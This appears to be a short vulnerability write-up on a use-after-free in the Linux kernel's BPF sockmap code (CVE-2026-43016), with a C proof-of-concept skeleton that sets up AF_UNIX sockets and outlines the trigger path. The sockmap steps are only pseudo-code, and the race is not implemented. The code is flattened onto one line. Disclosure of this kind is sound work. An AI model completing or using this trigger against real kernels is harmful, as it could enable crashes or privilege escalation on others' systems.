Linux Kernel bpf sockmap UAF漏洞 (CVE-2026-43016)

/* * PoC Concept for CVE-2026-43016 * This code demonstrates the socket operations required to trigger the race. * Requires a kernel configuration with BPF and sockmap enabled. */ #include <sys/socket.h> #include <unistd.h> #include <linux/bpf.h> #include <errno.h> int main() { int sv[2]; int ret; // Step 1: Create a pair of AF_UNIX sockets ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sv); if (ret < 0) { perror("socketpair"); return 1; } // Step 2: Attacker needs to attach sockets to a sockmap via BPF syscall // This enables the sk_psock logic and the vulnerable verdict data_ready path. // Pseudo-code: bpf_map_update_elem(sockmap_fd, &key, &sv[0], BPF_ANY); // Pseudo-code: bpf_map_update_elem(sockmap_fd, &key, &sv[1], BPF_ANY); // Step 3: Trigger data transmission // The sender calls sendmsg, which invokes unix_stream_sendmsg char data[64] = "trigger"; send(sv[0], data, sizeof(data), 0); // Step 4: Concurrent close/orphan operation (Race Window) // Simulating the race where the peer socket is orphaned while // sk_psock_verdict_data_ready is accessing sk_socket. // close(sv[1]); close(sv[0]); close(sv[1]); return 0; }